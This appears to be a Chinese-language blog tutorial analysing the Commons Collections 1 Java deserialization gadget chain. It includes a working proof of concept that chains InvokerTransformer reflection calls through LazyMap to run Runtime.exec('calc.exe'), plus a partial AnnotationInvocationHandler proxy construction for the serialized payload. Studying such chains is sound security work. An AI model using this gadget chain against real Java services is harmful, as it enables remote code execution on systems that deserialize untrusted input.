Commons Collections1分析

0x01、基础知识铺垫

接下来这个过程将涉及到几个接口和类

1、LazyMap

我们通过下⾯这⾏代码对innerMap进⾏修饰，传出的outerMap即是修饰后的Map：

Map outerMap = TransformedMap.decorate(innerMap, valueTransformer);

2、Transformer

Transformer是⼀个接⼝，它只有⼀个待实现的⽅法：

3、ConstantTransformer

ConstantTransformer是实现了Transformer接⼝的⼀个实现类，它的过程就是在构造函数的时候传⼊⼀个

对象，并在transform⽅法将这个对象再返回：

4、InvokerTransformer

InvokerTransformer是实现了Transformer接⼝的⼀个类，这个类可以⽤来执⾏任意⽅法，这也是反序

列化能执⾏任意代码的关键。

在实例化这个InvokerTransformer时，需要传⼊三个参数，第⼀个参数是待执⾏的⽅法名，第⼆个参数

是这个函数的参数列表的参数类型，第三个参数是传给这个函数的参数列表：

后⾯还提供了transform⽅法，就是执⾏了input对象的iMethodName⽅法：

5、ChainedTransformer

ChainedTransformer也是实现了Transformer接⼝的⼀个实现类，它的作⽤是将内部的多个Transformer串

在⼀起。

也就是Stream中的概念，链式调用

看到transform方法是通过传入Trasnformer[]数组来对传入的数值进行遍历并且调用数组对象的transform方法。

6、Map

Transform来执行命令需要绑定到Map上，抽象类AbstractMapDecorator是Apache Commons Collections提供的一个类，实现类有很多，比如LazyMap、TransformedMap等，这些类都有一个decorate()方法，用于将上述的Transformer实现类绑定到Map上，当对Map进行一些操作时，会自动触发Transformer实现类的tranform()方法，不同的Map类型有不同的触发规则。

7、decorate

Map tmpmap = LazyMap.decorate(innerMap, transformerChain);

LazyMap是在get方法去调用方法，当调用get(key)的key不存在时，会调用transformerChain的transform()方法

0x02、exp的分析

import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;


import java.util.HashMap;
import java.util.Map;
public class test02_cc1 {
    public static void main(String[] args) throws Exception {
        //此处构建了一个transformers的数组，在其中构建了任意函数执行的核心代码
        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
            new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };

        //将transformers数组存入ChaniedTransformer这个继承类
        Transformer transformerChain = new ChainedTransformer(transformers);

        //创建Map并绑定transformerChina
        Map innerMap = new HashMap();
        innerMap.put("key", "0x7e");

        Map tmpmap = LazyMap.decorate(innerMap, transformerChain);
        tmpmap.get("1");
    }
}

我们先看看这段代码，看不懂没事，我们分段一步一步分析

0x03、第一部分分析

可以看出这边是new一个Transformer类型的数组，里面存储的都是Transformer的实现类

第一个元素中是ConstantTransform:

为什么是传入Runtime.class，因为Runtime类不用实现Serializable接口，所以没办法进行反序列化

Runtime.getRuntime()和 Runtime.class的区别 ，前者是⼀个 java.lang.Runtime对象，后者是⼀个 java.lang.Class 对象。Class类有实现Serializable接⼝

然后通过类名.class反射获取到了Runtime对象

接下来就是InvokerTransformer；通过前置知识铺垫，我们知道第⼀个参数是待执⾏的⽅法名，第⼆个参数

是这个函数的参数列表的参数类型，第三个参数是传给这个函数的参数列表

new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, 
                       new Object[] {"getRuntime", new Class[0] }),

new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, 
                       new Object[] {null, new Object[0] }),

new InvokerTransformer("exec", new Class[] {String.class }, 
                       new Object[] {"calc.exe"})

getMethod, null, getRuntime
invoke   , null, null
exec     , null, calc.exe

参数类型如下

接下来我们进去InvokerTransformer.class内部查看一下代码怎么执行的

这边需要回顾一下getMethod方法的使用

点击查看另外一篇文章操作成员方法

由此我们知道getMethod第一个参数是要调用方法的名称，第二个是要执行的参数类型

invoke第一个参数是获取到的class对象，接下来就是按照对应格式传入参数

这边就非常清楚了，调用java.lang.Runtime里面的getRuntime方法，获取到对象

接下来的几个InvokerTransformer也是一样的，就不细细分析了

0x04、第二部分分析

这边是链式调用，什么是链式调用函数

想深入了解的可以看看这边文章https://www.jb51.net/article/49405.htm

经过ChainedTransformer

会依次执行Transformer[]数组里面的方法，最后变成如下这段代码

((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("calc.exe");

最后再创建一个Map，并传入键值对，通过decorate方法

这边可以看到第一个是map，也就是我们上面创建的map，然后就是Transformer[]数组，在返回回来

最后你会疑问，咋返回的Map跟上面没区别？

这时候可以百度一下LazyMap是怎么回事的

也就是说，当get方法被调用的时候，这个LazyMap才会创建执行，当调用get(key)的key不存在时，会调用transformerChain的transform()方法

tmpmap.get("hello");

所以这边hello的key是不存在的，所以执行了恶意代码

那我们可以get("key")试试

因为我们有这个key，所以没有执行恶意代码，事实证明，我们的想法是正确的

0x05、第三部分分析

通过此处，f7步入get()方法内部

传入过后，LazyMap 的get方法方法里面的this.factory为Transformer[]数组，这时候去调用就会执行transform方法

而ChainedTransformer的transform方法又会去遍历调用Transformer[]里面的transform方法

导致使用方式的方式传入的Runtime调用了exec执行了calc.exe弹出一个计算器

0x06、序列化构造

上文是执行成功了，但是我们需要构造恶意的序列化，我们知道，只要调用了get方法，就会执行rce了

所以ysoserial找到了另一条路，AnnotationInvocationHandler类的invoke方法有调用到get

当时我们要怎么调用这个AnnotationInvocationHandler#invoke()

这时候我们可以借用对象代理进行调用

然后，我们需要对 sun.reflect.annotation.AnnotationInvocationHandler对象进行Proxy:

//获取class对象
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//根据参数类型获得对应的Constructor对象，第⼀个参数是⼀个Annotation类
//第⼆个是参数就是前⾯构造的Map
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
//设置暴力反射
construct.setAccessible(true);
//通过newInstance实例化对象，从而执行构造函数,导致rce
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

//新增
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

代理后的对象叫做proxyMap，但我们不能直接对其进行序列化，因为我们入口点是

sun.reflect.annotation.AnnotationInvocationHandler#readObject ，所以我们还需要再用

AnnotationInvocationHandler对这个proxyMap进行包裹：

handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

由于存在漏洞的AnnotationInvocationHandlerjdk版本找不到，序列化的构造就这样敷衍的写一写